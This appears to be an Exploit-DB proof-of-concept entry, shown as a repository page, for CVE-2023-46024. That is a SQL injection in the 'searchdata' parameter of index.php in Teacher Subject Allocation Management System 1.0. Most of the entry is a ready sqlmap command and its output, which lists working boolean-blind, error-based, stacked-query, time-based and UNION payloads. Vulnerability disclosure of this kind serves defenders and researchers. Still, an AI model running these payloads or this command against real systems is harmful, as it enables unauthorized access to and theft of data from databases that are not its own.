a24ba3c94b
7 changes to exploits/shellcodes/ghdb HNAS SMU 14.8.7825 - Information Disclosure Blood Bank 1.0 - 'bid' SQLi CSZCMS v1.3.0 - SQL Injection (Authenticated) Employee Management System 1.0 - 'admin_id' SQLi Simple Task List 1.0 - 'status' SQLi Teacher Subject Allocation Management System 1.0 - 'searchdata' SQLi
50 lines
No EOL
2.4 KiB
Text
50 lines
No EOL
2.4 KiB
Text
# Exploit Title: Teacher Subject Allocation Management System 1.0 - 'searchdata' SQLi
|
|
# Date: 2023-11-15
|
|
# Exploit Author: Ersin Erenler
|
|
# Vendor Homepage: https://phpgurukul.com/teacher-subject-allocation-system-using-php-and-mysql
|
|
# Software Link: https://phpgurukul.com/?sdm_process_download=1&download_id=17645
|
|
# Version: 1.0
|
|
# Tested on: Windows/Linux, Apache 2.4.54, PHP 8.2.0
|
|
# CVE : CVE-2023-46024
|
|
|
|
-------------------------------------------------------------------------------
|
|
|
|
# Description:
|
|
|
|
Teacher Subject Allocation Management System V1.0 is susceptible to a significant security vulnerability that arises from insufficient protection on the 'searchdata' parameter in the index.php file. This flaw can potentially be exploited to inject malicious SQL queries, leading to unauthorized access and extraction of sensitive information from the database.
|
|
|
|
Vulnerable File: /index.php
|
|
|
|
Parameter Name: searchdata
|
|
|
|
# Proof of Concept:
|
|
----------------------
|
|
|
|
Execute sqlmap using either the 'searchdata' parameter to retrieve the current database:
|
|
|
|
sqlmap -u "http://localhost/Tsas" --method POST --data "searchdata=test&search=" -p searchdata --risk 3 --level 3 --dbms mysql --batch --current-db
|
|
|
|
SQLMap Response:
|
|
----------------------
|
|
---
|
|
Parameter: searchdata (POST)
|
|
Type: boolean-based blind
|
|
Title: AND boolean-based blind - WHERE or HAVING clause
|
|
Payload: searchdata=test%' AND 3912=3912 AND 'qxHV%'='qxHV&search=
|
|
|
|
Type: error-based
|
|
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
|
|
Payload: searchdata=test%' AND (SELECT 1043 FROM(SELECT COUNT(*),CONCAT(0x7170706a71,(SELECT (ELT(1043=1043,1))),0x717a787171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'kewe%'='kewe&search=
|
|
|
|
Type: stacked queries
|
|
Title: MySQL >= 5.0.12 stacked queries (comment)
|
|
Payload: searchdata=test%';SELECT SLEEP(5)#&search=
|
|
|
|
Type: time-based blind
|
|
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
|
Payload: searchdata=test%' AND (SELECT 8862 FROM (SELECT(SLEEP(5)))GqzT) AND 'wylU%'='wylU&search=
|
|
|
|
Type: UNION query
|
|
Title: Generic UNION query (NULL) - 15 columns
|
|
Payload: searchdata=test%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7170706a71,0x784e7a47626a794a74456975444c5a4c64734556414658476e75684c4a716f6173724b6b6a685163,0x717a787171)-- -&search=
|
|
--- |